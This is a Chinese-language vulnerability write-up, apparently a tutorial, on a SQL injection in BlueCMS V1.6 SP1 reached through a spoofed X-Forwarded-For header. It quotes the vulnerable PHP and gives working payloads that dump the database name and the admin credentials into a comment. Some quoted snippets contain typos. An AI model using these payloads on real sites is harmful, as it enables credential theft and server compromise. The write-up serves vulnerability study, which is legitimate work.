偽造X-Forwarded-For的攻擊實例
前言
BlueCMS是一款國產的CMS平臺,十分靈活、方便,早些年廣泛的應用于商業系統、個人博客等。在使用getip()函數獲取ip時沒有嚴格過濾,導致sql注入。
影響范圍:
BlueCMS V1.6 SP1
通過偽造X-Forwarded-For進行SQL注入漏洞,攻擊者可以直接獲取數據庫中管理員的賬號密碼或其他信息,進一步獲取Webshell,甚至危及服務器的安全。
漏洞復現
漏洞出現在`comment.php`
elseif($act == 'send')
{
......
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
在上面的代碼中,構造了一個查詢語句,將其賦給$sql變量,然后直接執行而不進行任何篩選。可以看到,在sql語句中,有一個getip的值,這個變量是用戶可控的。
接下來,搜索找到getip的位置,位于 /include/common.fun.php,代碼如下所示:
/**
* 獲取用戶IP
*/
function getip(){
if (getenv('HTTP_CLIENT_IP')){
$ip = getenv('HTTP_CLIENT_IP');
}elseif (getenv('HTTP_X_FORWARDED_FOR')) {
//獲取客戶端用代理服務器訪問時的真實ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}elseif (getenv('HTTP_FORWARDED_FOR')){
$ip = getenv('HTTP_FORWARDED_FOR');
}elseif (getenv('HTTP_FORWARDED')){
$ip = getenv('HTTP_FORWARDED');
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip 的值從 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等變量中獲得,HTTP_CLIENT_IP 這個環境變量沒有成標準,很多服務器沒法獲取。而第二個 HTTP_X_FORWARDED_FOR 可以通過 HTTP 請求頭來修改
上面代碼首先從環境變量中獲取用戶的IP,如果IP正常獲取則正常返回,如果不存在則客戶端通過代理服務器訪問時獲取IP,如果仍然不存在,它繼續取 X_FORWARDED_FOR的值。
可以看出,這里的代碼并沒有做任何處理,直接取值,然后把得到的值帶入Getip,這樣我們就可以偽造X_FORWARDED_FOR,構造惡意語句,注入獲取敏感數據庫信息。
再結合`comment.php`的`$db->query($sql);`來看,函數的值沒有過濾直接插入到了SQL語句中,存在SQL注入。
在正常的TCP/IP通信中,可以偽造數據包的源IP,但這會使發送的數據包返回偽造的IP,無法正常通信。
在 TCP/IP 層級很難實現偽造,因為很難實現正常的 TCP 連接;但是,在應用層協議 HTTP 上更容易實現。通過偽造IP,可以欺騙大多數服務器應用程序進行通信。對于繞過服務器的IP地址過濾或偽造源IP特別有用,其后果是未經授權的IP可以訪問服務器,甚至可以利用服務器的漏洞。
X-Forwarded-For 請求頭格式:
X-Forwarded-For: client, proxy1, proxy2
如果服務器使用 X-Forwarded-For 中的地址(而不是遠程地址)作為用戶的 IP 地址來實現 IP 地址過濾,那么用戶通過偽造 X-Forwarded-For 來獲取權限。
利用此漏洞,從comment.php代碼中,可以推斷出SQL注入發生在評論文章的地方。模擬文章發表時存在小問題,發布文章時必須選擇新聞類別,但管理員和普通用戶都不能創建分類,因此必須注釋掉限制分類不能為空的代碼。
限制分類不能為空的代碼是前端的JavaScript代碼
elseif($act == 'do_add_news'){
include_once 'include /upload.class.php ' ;
$image =new upload () ;
$title = !empty ($_PoST [ 'title']) ? htmlspecialchars (trim($_POST [ 'title' ]);
$color = !empty($_PosT [ 'color']) ? htmlspecialchars (trim($_PoST [ ' color' ]);
$cid = !empty($_POST [ 'cid ']) ? intval($_POST [ 'cid ' ]): '';
//if(empty ($cid)){
// showmsg('新聞分類不能為空');
//}
}
在發布新聞先評論測試一下,看一下數據表記錄的字段默認值,回顯的位置是在`content字段`中,所以可以構造X-Forwarded-For值注入,先補充前面查詢的`ip`和`is_check`字段完成第一次插入,然后再構造第二次插入,注意關閉原始語句中的單引號。
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1
原來的語句變為了
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
原來的語句從中間被斷開,前后引號閉合,查詢數據庫的賬號密碼并輸出到評論之中,注入成功
總結
在BlueCMS1.6 SQL注入漏洞中構造的payload是使用的閉合insert語句,將敏感數據插入到評論表方法。SQL注入漏洞獲取的HTTP_X_FORWARDED_FOR字段對應HTTP請求頭中的X_Forwarded_For字段。
HTTP請求中,X-Forwarded代表用來識別通過HTTP代理或負載均衡方式連接到Web服務器的客戶端最原始的IP地址的HTTP請求頭字段,利用insert 語句插入多條數據,然后再通過select 讀取插入的數據將盲注轉換成顯示注入的。